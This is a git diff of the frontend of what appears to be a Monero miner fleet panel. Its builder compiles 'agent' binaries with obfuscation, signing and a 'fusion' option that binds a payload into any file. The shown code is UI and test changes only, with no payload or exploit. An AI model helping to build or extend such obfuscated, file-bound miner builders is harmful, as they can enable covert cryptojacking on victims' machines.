|
||||||
</div>
|
</div>
|
||||||
<div className="bm-action-btns">
|
<div className="bm-action-btns">
|
||||||
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} />
|
<PinButton buildId={build.id} pinned={!!build.pinned} onPinned={onPinned} onError={onActionError} />
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
className="btn btn-secondary bm-reforge-btn"
|
className="btn btn-secondary bm-reforge-btn"
|
||||||
@@ -282,7 +302,7 @@ function BuildCard({
|
|||||||
>
|
>
|
||||||
⚒ Re-forge
|
⚒ Re-forge
|
||||||
</button>
|
</button>
|
||||||
<DeleteButton buildId={build.id} onDeleted={onDeleted} />
|
<DeleteButton buildId={build.id} onDeleted={onDeleted} onError={onActionError} />
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</NeonCard>
|
</NeonCard>
|
||||||
@@ -295,28 +315,31 @@ export default function BuildManagerPage() {
|
|||||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||||
const [loading, setLoading] = useState(true);
|
const [loading, setLoading] = useState(true);
|
||||||
const [error, setError] = useState('');
|
const [error, setError] = useState('');
|
||||||
const [serverBase, setServerBase] = useState('');
|
const [serverBase, setServerBase] = useState(() => window.location.origin.replace(/\/$/, ''));
|
||||||
const navigate = useNavigate();
|
const navigate = useNavigate();
|
||||||
|
|
||||||
|
const applyServerBase = useCallback((suggestedUrl?: string) => {
|
||||||
|
const pub = suggestedUrl?.trim().replace(/\/$/, '');
|
||||||
|
setServerBase(pub || window.location.origin.replace(/\/$/, ''));
|
||||||
|
}, []);
|
||||||
|
|
||||||
const loadBuilds = useCallback(async () => {
|
const loadBuilds = useCallback(async () => {
|
||||||
try {
|
try {
|
||||||
const list = await api.listBuilds();
|
const [list, info] = await Promise.all([
|
||||||
|
api.listBuilds(),
|
||||||
|
api.getServerInfo().catch(() => null),
|
||||||
|
]);
|
||||||
setBuilds(list);
|
setBuilds(list);
|
||||||
setError('');
|
setError('');
|
||||||
|
if (info) applyServerBase(info.suggested_url);
|
||||||
|
else applyServerBase();
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
setError(e instanceof Error ? e.message : 'Failed to load builds');
|
setError(e instanceof Error ? e.message : 'Failed to load builds');
|
||||||
|
applyServerBase();
|
||||||
} finally {
|
} finally {
|
||||||
setLoading(false);
|
setLoading(false);
|
||||||
}
|
}
|
||||||
// Load server base URL separately so a slow/hung server-info call
|
}, [applyServerBase]);
|
||||||
// never blocks the builds list from rendering.
|
|
||||||
api.getServerInfo()
|
|
||||||
.then((info) => {
|
|
||||||
const pub = info?.suggested_url?.trim().replace(/\/$/, '');
|
|
||||||
if (pub) setServerBase(pub);
|
|
||||||
})
|
|
||||||
.catch(() => {/* use window.location.origin fallback already set */});
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
useEffect(() => { loadBuilds(); }, [loadBuilds]);
|
useEffect(() => { loadBuilds(); }, [loadBuilds]);
|
||||||
|
|
||||||
@@ -375,6 +398,7 @@ export default function BuildManagerPage() {
|
|||||||
onReforge={handleReforge}
|
onReforge={handleReforge}
|
||||||
onDeleted={loadBuilds}
|
onDeleted={loadBuilds}
|
||||||
onPinned={loadBuilds}
|
onPinned={loadBuilds}
|
||||||
|
onActionError={(msg) => setError(msg)}
|
||||||
/>
|
/>
|
||||||
))}
|
))}
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -59,15 +59,17 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
|
|||||||
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
|
||||||
}
|
}
|
||||||
|
|
||||||
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
|
// Simulated stage timeline — real compiles (garble/universal/fusion) often take 10–30+ min.
|
||||||
|
// Cap below 95% until the server responds; finishForgeSuccess sets 100%.
|
||||||
|
const FORGE_PROGRESS_CAP = 94;
|
||||||
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
|
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
|
||||||
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
|
{ label: 'Resolving dependencies...', pct: 6, minMs: 0 },
|
||||||
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
|
{ label: 'Compiling agent source...', pct: 18, minMs: 20000 },
|
||||||
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
|
{ label: 'Cross-compiling targets...', pct: 36, minMs: 90000 },
|
||||||
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
|
{ label: 'Applying obfuscation...', pct: 52, minMs: 240000 },
|
||||||
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
|
{ label: 'Packaging deliverable...', pct: 68, minMs: 420000 },
|
||||||
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
|
{ label: 'Signing & finalizing...', pct: 82, minMs: 600000 },
|
||||||
{ label: 'Almost done...', pct: 98, minMs: 15000 },
|
{ label: 'Still forging (may take a while)...', pct: FORGE_PROGRESS_CAP, minMs: 900000 },
|
||||||
];
|
];
|
||||||
|
|
||||||
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
|
||||||
@@ -153,6 +155,9 @@ export default function BuilderPage() {
|
|||||||
const forgedThisSessionRef = useRef(false);
|
const forgedThisSessionRef = useRef(false);
|
||||||
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
|
||||||
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
|
||||||
|
const [pendingReforgeBuild, setPendingReforgeBuild] = useState<BuildRecord | null>(null);
|
||||||
|
const [highlightFusionPrep, setHighlightFusionPrep] = useState(false);
|
||||||
|
const fusionPrepRef = useRef<HTMLDivElement>(null);
|
||||||
|
|
||||||
// Drive simulated stage progress while a single build is running
|
// Drive simulated stage progress while a single build is running
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
@@ -175,14 +180,14 @@ export default function BuilderPage() {
|
|||||||
}
|
}
|
||||||
const s = FORGE_STAGES[next];
|
const s = FORGE_STAGES[next];
|
||||||
// Smoothly interpolate within this stage toward the next stage's target %
|
// Smoothly interpolate within this stage toward the next stage's target %
|
||||||
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
|
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : FORGE_PROGRESS_CAP;
|
||||||
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
|
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 1200000;
|
||||||
const stageElapsed = elapsed - s.minMs;
|
const stageElapsed = elapsed - s.minMs;
|
||||||
const stageDur = nextMs - s.minMs;
|
const stageDur = nextMs - s.minMs;
|
||||||
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
|
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
|
||||||
const pct = s.pct + (nextPct - s.pct) * frac;
|
const pct = s.pct + (nextPct - s.pct) * frac;
|
||||||
if (next !== stageIdx) stageIdx = next;
|
if (next !== stageIdx) stageIdx = next;
|
||||||
setStage(s.label, Math.min(98, pct));
|
setStage(s.label, Math.min(FORGE_PROGRESS_CAP, pct));
|
||||||
forgeStageTimerRef.current = setTimeout(advance, 250);
|
forgeStageTimerRef.current = setTimeout(advance, 250);
|
||||||
};
|
};
|
||||||
advance();
|
advance();
|
||||||
@@ -238,8 +243,10 @@ export default function BuilderPage() {
|
|||||||
setListenPort(config.port || 8989);
|
setListenPort(config.port || 8989);
|
||||||
}
|
}
|
||||||
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
|
const candidates = info ? lanEndpointCandidates(info, config.port || info.port) : [];
|
||||||
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, builds as BuildRecord[]);
|
const buildList = builds as BuildRecord[];
|
||||||
setForm(applySmartForgeDefaults(base, { builds: builds as BuildRecord[], endpointCandidates: candidates }));
|
const base = defaultsFromConfig(config, info ?? { port: config.port || 8989, host: '', local_ips: [], suggested_url: '', dashboard_url: '', websocket_url: '' }, buildList);
|
||||||
|
setRecentBuilds(buildList);
|
||||||
|
setForm(applySmartForgeDefaults(base, { builds: buildList, endpointCandidates: candidates }));
|
||||||
})
|
})
|
||||||
.catch((err) => {
|
.catch((err) => {
|
||||||
console.error(err);
|
console.error(err);
|
||||||
@@ -257,17 +264,21 @@ export default function BuilderPage() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
// Handle ?reforge=<buildId> links from Build Manager page
|
// Handle ?reforge=<buildId> links from Build Manager — pre-fill only; user confirms before compile.
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const reforgeId = searchParams.get('reforge');
|
const reforgeId = searchParams.get('reforge');
|
||||||
if (!reforgeId || recentBuilds.length === 0) return;
|
if (!reforgeId || !form || recentBuilds.length === 0) return;
|
||||||
const match = recentBuilds.find((b) => b.id === reforgeId);
|
const match = recentBuilds.find((b) => b.id === reforgeId);
|
||||||
if (match) {
|
if (match) {
|
||||||
reForgeFromBuild(match);
|
const merged = buildRequestFromRecord(match, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
||||||
|
setForm(merged);
|
||||||
|
setPendingReforgeBuild(match);
|
||||||
|
setError('');
|
||||||
|
setLastBuild(null);
|
||||||
setSearchParams({}, { replace: true });
|
setSearchParams({}, { replace: true });
|
||||||
}
|
}
|
||||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||||
}, [searchParams, recentBuilds]);
|
}, [searchParams, recentBuilds, form]);
|
||||||
|
|
||||||
const finishForgeSuccess = async (result: BuildResponse) => {
|
const finishForgeSuccess = async (result: BuildResponse) => {
|
||||||
setStage('Build complete!', 100);
|
setStage('Build complete!', 100);
|
||||||
@@ -355,6 +366,12 @@ export default function BuilderPage() {
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const focusFusionPrepPicker = () => {
|
||||||
|
setHighlightFusionPrep(true);
|
||||||
|
fusionPrepRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||||
|
window.setTimeout(() => setHighlightFusionPrep(false), 6000);
|
||||||
|
};
|
||||||
|
|
||||||
const reForgeFromBuild = async (build: BuildRecord) => {
|
const reForgeFromBuild = async (build: BuildRecord) => {
|
||||||
if (!form) return;
|
if (!form) return;
|
||||||
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
const merged = buildRequestFromRecord(build, form as unknown as Record<string, unknown>) as unknown as BuildRequest;
|
||||||
@@ -366,8 +383,9 @@ export default function BuilderPage() {
|
|||||||
// server after a build completes (M15). Prompt the user to re-upload first.
|
// server after a build completes (M15). Prompt the user to re-upload first.
|
||||||
if (merged.fusion_enabled && !fusionPrepFile) {
|
if (merged.fusion_enabled && !fusionPrepFile) {
|
||||||
setError(
|
setError(
|
||||||
'This build used a Fusion payload. Re-upload the payload file in the Fusion section above, then click "Re-forge" again.'
|
'This build used a Fusion payload. Re-upload the payload file in the Fusion section below, then confirm Re-forge again.'
|
||||||
);
|
);
|
||||||
|
focusFusionPrepPicker();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -651,7 +669,16 @@ export default function BuilderPage() {
|
|||||||
await finishForgeSuccess(result);
|
await finishForgeSuccess(result);
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
if (err.message !== 'build cancelled') {
|
if (err.message !== 'build cancelled') {
|
||||||
setError(err.message || 'Build failed');
|
let msg = err?.message || 'Build failed';
|
||||||
|
const aborted =
|
||||||
|
err?.name === 'AbortError' ||
|
||||||
|
/abort|timed out|timeout/i.test(msg);
|
||||||
|
if (aborted) {
|
||||||
|
msg =
|
||||||
|
'Forge request ended early (browser or proxy timeout). The server may still be compiling — open Build Manager or refresh this page in a minute.';
|
||||||
|
}
|
||||||
|
setError(msg);
|
||||||
|
void loadRecentBuilds();
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
cancelTokenRef.current = '';
|
cancelTokenRef.current = '';
|
||||||
@@ -702,7 +729,7 @@ export default function BuilderPage() {
|
|||||||
[form, fusionPrepFile]
|
[form, fusionPrepFile]
|
||||||
);
|
);
|
||||||
const preflightChecks = useMemo(
|
const preflightChecks = useMemo(
|
||||||
() => (form ? runForgePreflight(form, !!fusionPrepFile) : []),
|
() => (form ? runForgePreflight(normalizeForgeForm(form), !!fusionPrepFile) : []),
|
||||||
[form, fusionPrepFile]
|
[form, fusionPrepFile]
|
||||||
);
|
);
|
||||||
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
const canForge = form ? !preflightHasErrors(preflightChecks) : false;
|
||||||
@@ -811,6 +838,39 @@ export default function BuilderPage() {
|
|||||||
return (
|
return (
|
||||||
<div className="page fade-in command-deck">
|
<div className="page fade-in command-deck">
|
||||||
<SetupBanner status={setupStatus} />
|
<SetupBanner status={setupStatus} />
|
||||||
|
{pendingReforgeBuild && (
|
||||||
|
<div className="reforge-confirm-banner form-error" role="alert">
|
||||||
|
<span>⚒</span>
|
||||||
|
<div style={{ flex: 1 }}>
|
||||||
|
<strong>Re-forge {pendingReforgeBuild.worker_name}?</strong>
|
||||||
|
<p className="form-hint" style={{ margin: '0.35rem 0 0', color: 'inherit' }}>
|
||||||
|
Settings were loaded from Build Manager. Confirm to start compiling — this cannot be undone mid-forge.
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div style={{ display: 'flex', gap: '0.5rem', flexShrink: 0 }}>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-primary btn-sm"
|
||||||
|
disabled={building}
|
||||||
|
onClick={() => {
|
||||||
|
const build = pendingReforgeBuild;
|
||||||
|
setPendingReforgeBuild(null);
|
||||||
|
void reForgeFromBuild(build);
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Confirm Re-forge
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-outline btn-sm"
|
||||||
|
disabled={building}
|
||||||
|
onClick={() => setPendingReforgeBuild(null)}
|
||||||
|
>
|
||||||
|
Cancel
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
{/* Hidden file input for importing blueprint .json files */}
|
{/* Hidden file input for importing blueprint .json files */}
|
||||||
<input
|
<input
|
||||||
type="file"
|
type="file"
|
||||||
@@ -1867,7 +1927,10 @@ export default function BuilderPage() {
|
|||||||
{form.fusion_enabled && (
|
{form.fusion_enabled && (
|
||||||
<>
|
<>
|
||||||
{/* Single-file pick (used when Forge button is clicked) */}
|
{/* Single-file pick (used when Forge button is clicked) */}
|
||||||
<div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}>
|
<div
|
||||||
|
ref={fusionPrepRef}
|
||||||
|
className={`form-group fusion-prep-picker${highlightFusionPrep ? ' fusion-prep-highlight' : ''}${fieldMeta.fusion_prep?.disabled ? ' field-disabled' : ''}`}
|
||||||
|
>
|
||||||
<div className="label-row">
|
<div className="label-row">
|
||||||
<label className="label">
|
<label className="label">
|
||||||
Drop any file to fuse <HelpTip field="fusion_prep" />
|
Drop any file to fuse <HelpTip field="fusion_prep" />
|
||||||
@@ -1880,6 +1943,7 @@ export default function BuilderPage() {
|
|||||||
accept="*"
|
accept="*"
|
||||||
onChange={(e) => {
|
onChange={(e) => {
|
||||||
applyFusionFileSelection(e.target.files?.[0] || null);
|
applyFusionFileSelection(e.target.files?.[0] || null);
|
||||||
|
setHighlightFusionPrep(false);
|
||||||
e.target.value = '';
|
e.target.value = '';
|
||||||
}}
|
}}
|
||||||
/>
|
/>
|
||||||
|
|||||||
@@ -123,12 +123,12 @@ describe('DashboardPage', () => {
|
|||||||
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
|
expect(await screen.findByText('No miners on the wire')).toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('shows projection charts and wealth strip with no agents', async () => {
|
it('does not show projection or fake earnings with no agents', async () => {
|
||||||
renderDashboard();
|
renderDashboard();
|
||||||
expect(await screen.findByText(/Projection mode/i)).toBeInTheDocument();
|
expect(await screen.findByText('Command Deck')).toBeInTheDocument();
|
||||||
expect(await screen.findByText('Fleet Hashrate Wave')).toBeInTheDocument();
|
expect(screen.queryByText(/Projection mode/i)).not.toBeInTheDocument();
|
||||||
expect(await screen.findByText('Accept Rate Pulse')).toBeInTheDocument();
|
expect(screen.queryByText('Target Fleet Earnings')).not.toBeInTheDocument();
|
||||||
expect(await screen.findByText('Target Fleet Earnings')).toBeInTheDocument();
|
expect(screen.queryByText('Vault-01')).not.toBeInTheDocument();
|
||||||
});
|
});
|
||||||
|
|
||||||
it('renders stat labels and top agent card', async () => {
|
it('renders stat labels and top agent card', async () => {
|
||||||
|
|||||||
@@ -12,7 +12,6 @@ import {
|
|||||||
PoolStatusPanel,
|
PoolStatusPanel,
|
||||||
AIActivityPanel,
|
AIActivityPanel,
|
||||||
EarningsEstimator,
|
EarningsEstimator,
|
||||||
WealthEarningsPreview,
|
|
||||||
FleetHealthCard,
|
FleetHealthCard,
|
||||||
ContributionBars,
|
ContributionBars,
|
||||||
UnderperformerList,
|
UnderperformerList,
|
||||||
@@ -46,9 +45,6 @@ import {
|
|||||||
} from '../help/fleetAnalytics';
|
} from '../help/fleetAnalytics';
|
||||||
import {
|
import {
|
||||||
resolveChartSeries,
|
resolveChartSeries,
|
||||||
SAMPLE_ACTIVITY,
|
|
||||||
SAMPLE_CONTRIBUTION_BARS,
|
|
||||||
SAMPLE_FLEET_PREVIEW,
|
|
||||||
} from '../help/chartSampleData';
|
} from '../help/chartSampleData';
|
||||||
import './Pages.css';
|
import './Pages.css';
|
||||||
|
|
||||||
@@ -133,6 +129,14 @@ export default function DashboardPage() {
|
|||||||
}
|
}
|
||||||
}, [recentShares]);
|
}, [recentShares]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
const liveIds = new Set(agents.map((a) => a.id));
|
||||||
|
setSelectedIds((prev) => {
|
||||||
|
const pruned = new Set([...prev].filter((id) => liveIds.has(id)));
|
||||||
|
return pruned.size === prev.size ? prev : pruned;
|
||||||
|
});
|
||||||
|
}, [agents]);
|
||||||
|
|
||||||
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
|
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
|
||||||
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
const onlineCount = agents.filter((a) => a.status === 'online').length;
|
||||||
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
||||||
@@ -154,7 +158,7 @@ export default function DashboardPage() {
|
|||||||
[gpuAgents]
|
[gpuAgents]
|
||||||
);
|
);
|
||||||
const bestGPUAgent = useMemo(
|
const bestGPUAgent = useMemo(
|
||||||
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
() => [...gpuAgents].sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
|
||||||
[gpuAgents]
|
[gpuAgents]
|
||||||
);
|
);
|
||||||
const gpuModels = useMemo(
|
const gpuModels = useMemo(
|
||||||
@@ -166,10 +170,8 @@ export default function DashboardPage() {
|
|||||||
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
|
||||||
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
|
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
|
||||||
|
|
||||||
const previewDeck = agents.length === 0 || (totalHashrate <= 0 && onlineCount === 0);
|
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (previewDeck || totalHashrate <= 0) {
|
if (totalHashrate <= 0) {
|
||||||
setEstXmrDay(null);
|
setEstXmrDay(null);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -183,15 +185,7 @@ export default function DashboardPage() {
|
|||||||
if (!controller.signal.aborted) setEstXmrDay(null);
|
if (!controller.signal.aborted) setEstXmrDay(null);
|
||||||
});
|
});
|
||||||
return () => controller.abort();
|
return () => controller.abort();
|
||||||
}, [totalHashrate, previewDeck]);
|
}, [totalHashrate]);
|
||||||
|
|
||||||
const displayHashrate = previewDeck ? SAMPLE_FLEET_PREVIEW.hashrate : totalHashrate;
|
|
||||||
const displayAccept = previewDeck ? SAMPLE_FLEET_PREVIEW.acceptRate : acceptRate;
|
|
||||||
const displayCpu = previewDeck ? SAMPLE_FLEET_PREVIEW.avgCpu : avgCpu;
|
|
||||||
const displayMem = previewDeck ? SAMPLE_FLEET_PREVIEW.avgMem : avgMem;
|
|
||||||
const displayOnlinePct = previewDeck ? SAMPLE_FLEET_PREVIEW.onlinePct : onlinePct;
|
|
||||||
const displayOnline = previewDeck ? SAMPLE_FLEET_PREVIEW.onlineCount : onlineCount;
|
|
||||||
const displayAgentTotal = previewDeck ? SAMPLE_FLEET_PREVIEW.agentCount : agents.length;
|
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
const now = new Date().toLocaleTimeString();
|
const now = new Date().toLocaleTimeString();
|
||||||
@@ -199,38 +193,21 @@ export default function DashboardPage() {
|
|||||||
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
|
setAcceptHistory((prev) => [...prev.slice(-59), { time: now, value: acceptRate }]);
|
||||||
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
setCpuHistory((prev) => [...prev.slice(-59), { time: now, value: avgCpu }]);
|
||||||
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
setMemHistory((prev) => [...prev.slice(-59), { time: now, value: avgMem }]);
|
||||||
const gpuVal = totalGPUHashrate > 0 ? totalGPUHashrate : previewDeck ? 48_500_000 : 0;
|
if (totalGPUHashrate > 0) {
|
||||||
if (gpuVal > 0 || previewDeck) {
|
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: totalGPUHashrate }]);
|
||||||
setGpuHistory((prev) => [...prev.slice(-59), { time: now, value: gpuVal }]);
|
|
||||||
}
|
}
|
||||||
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate, previewDeck]);
|
}, [totalHashrate, acceptRate, avgCpu, avgMem, totalGPUHashrate]);
|
||||||
|
|
||||||
const hashChart = useMemo(
|
const hashChart = useMemo(() => resolveChartSeries(hashHistory), [hashHistory]);
|
||||||
() => resolveChartSeries(hashHistory, 'hashrate', { tailValue: displayHashrate }),
|
const acceptChart = useMemo(() => resolveChartSeries(acceptHistory), [acceptHistory]);
|
||||||
[hashHistory, displayHashrate]
|
const cpuChart = useMemo(() => resolveChartSeries(cpuHistory), [cpuHistory]);
|
||||||
);
|
const memChart = useMemo(() => resolveChartSeries(memHistory), [memHistory]);
|
||||||
const acceptChart = useMemo(
|
const gpuChart = useMemo(() => resolveChartSeries(gpuHistory), [gpuHistory]);
|
||||||
() => resolveChartSeries(acceptHistory, 'accept', { tailValue: displayAccept }),
|
|
||||||
[acceptHistory, displayAccept]
|
|
||||||
);
|
|
||||||
const cpuChart = useMemo(
|
|
||||||
() => resolveChartSeries(cpuHistory, 'cpu', { tailValue: displayCpu }),
|
|
||||||
[cpuHistory, displayCpu]
|
|
||||||
);
|
|
||||||
const memChart = useMemo(
|
|
||||||
() => resolveChartSeries(memHistory, 'mem', { tailValue: displayMem }),
|
|
||||||
[memHistory, displayMem]
|
|
||||||
);
|
|
||||||
const gpuChart = useMemo(
|
|
||||||
() => resolveChartSeries(gpuHistory, 'gpu', { tailValue: totalGPUHashrate || 48_500_000 }),
|
|
||||||
[gpuHistory, totalGPUHashrate]
|
|
||||||
);
|
|
||||||
|
|
||||||
const estUsdDay = useMemo(() => {
|
const estUsdDay = useMemo(() => {
|
||||||
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
|
if (estXmrDay == null || xmrPrice == null) return null;
|
||||||
const xmr = previewDeck ? SAMPLE_FLEET_PREVIEW.xmrPerDay : estXmrDay;
|
return estXmrDay * xmrPrice;
|
||||||
return xmr != null ? xmr * price : null;
|
}, [estXmrDay, xmrPrice]);
|
||||||
}, [previewDeck, estXmrDay, xmrPrice]);
|
|
||||||
|
|
||||||
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
const filteredAgents = useMemo(() => filterFleetAgents(agents, filters), [agents, filters]);
|
||||||
|
|
||||||
@@ -247,9 +224,8 @@ export default function DashboardPage() {
|
|||||||
ok: s.accepted,
|
ok: s.accepted,
|
||||||
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
|
time: s.timestamp ? new Date(s.timestamp).toLocaleTimeString() : undefined,
|
||||||
}));
|
}));
|
||||||
if (live.length > 0) return live;
|
return live;
|
||||||
return previewDeck ? SAMPLE_ACTIVITY : live;
|
}, [shares]);
|
||||||
}, [shares, previewDeck]);
|
|
||||||
|
|
||||||
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
const totalShareCount = agents.reduce((sum, a) => sum + a.shares_total, 0);
|
||||||
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
|
const alerts = fleetAlerts.length > 0 ? fleetAlerts : restAlerts;
|
||||||
@@ -427,12 +403,6 @@ export default function DashboardPage() {
|
|||||||
<AuditLogStrip limit={6} />
|
<AuditLogStrip limit={6} />
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{previewDeck && (
|
|
||||||
<p className="preview-deck-hint font-tech" role="status">
|
|
||||||
Projection mode — charts validated with sample telemetry until your fleet connects
|
|
||||||
</p>
|
|
||||||
)}
|
|
||||||
|
|
||||||
<header className="deck-hero wealth-hero">
|
<header className="deck-hero wealth-hero">
|
||||||
<div className="deck-hero-text">
|
<div className="deck-hero-text">
|
||||||
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
|
<p className="deck-eyebrow font-tech">PERSONAL NETWORK · LIVE TELEMETRY</p>
|
||||||
@@ -470,7 +440,7 @@ export default function DashboardPage() {
|
|||||||
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
|
<div className="deck-wealth-strip" aria-label="Fleet yield snapshot">
|
||||||
<div className="deck-wealth-pill">
|
<div className="deck-wealth-pill">
|
||||||
<div className="dwp-label">Fleet Hash</div>
|
<div className="dwp-label">Fleet Hash</div>
|
||||||
<div className="dwp-value mint">{formatHashrate(displayHashrate)}</div>
|
<div className="dwp-value mint">{formatHashrate(totalHashrate)}</div>
|
||||||
<div className="dwp-sub">15m rolling</div>
|
<div className="dwp-sub">15m rolling</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="deck-wealth-pill">
|
<div className="deck-wealth-pill">
|
||||||
@@ -478,19 +448,19 @@ export default function DashboardPage() {
|
|||||||
<div className="dwp-value mint">
|
<div className="dwp-value mint">
|
||||||
{estUsdDay != null ? `≈ $${estUsdDay.toFixed(2)}` : '—'}
|
{estUsdDay != null ? `≈ $${estUsdDay.toFixed(2)}` : '—'}
|
||||||
</div>
|
</div>
|
||||||
<div className="dwp-sub">{previewDeck ? 'projection' : 'from live hashrate'}</div>
|
<div className="dwp-sub">{totalHashrate > 0 ? 'from live hashrate' : 'no active hashing'}</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="deck-wealth-pill">
|
<div className="deck-wealth-pill">
|
||||||
<div className="dwp-label">Accept</div>
|
<div className="dwp-label">Accept</div>
|
||||||
<div className="dwp-value">{displayAccept.toFixed(1)}%</div>
|
<div className="dwp-value">{acceptRate.toFixed(1)}%</div>
|
||||||
<div className="dwp-sub">share quality</div>
|
<div className="dwp-sub">share quality</div>
|
||||||
</div>
|
</div>
|
||||||
<div className="deck-wealth-pill">
|
<div className="deck-wealth-pill">
|
||||||
<div className="dwp-label">Nodes Live</div>
|
<div className="dwp-label">Nodes Live</div>
|
||||||
<div className="dwp-value">
|
<div className="dwp-value">
|
||||||
{displayOnline}/{displayAgentTotal}
|
{onlineCount}/{agents.length}
|
||||||
</div>
|
</div>
|
||||||
<div className="dwp-sub">{displayOnlinePct.toFixed(0)}% online</div>
|
<div className="dwp-sub">{onlinePct.toFixed(0)}% online</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -514,8 +484,8 @@ export default function DashboardPage() {
|
|||||||
<section className="gauge-row">
|
<section className="gauge-row">
|
||||||
<NeonCard accent="cyan" className="gauge-card" hud>
|
<NeonCard accent="cyan" className="gauge-card" hud>
|
||||||
<GaugeRing
|
<GaugeRing
|
||||||
value={displayHashrate}
|
value={totalHashrate}
|
||||||
max={Math.max(displayHashrate * 1.2, 1000)}
|
max={Math.max(totalHashrate * 1.2, 1000)}
|
||||||
label="Fleet Hash"
|
label="Fleet Hash"
|
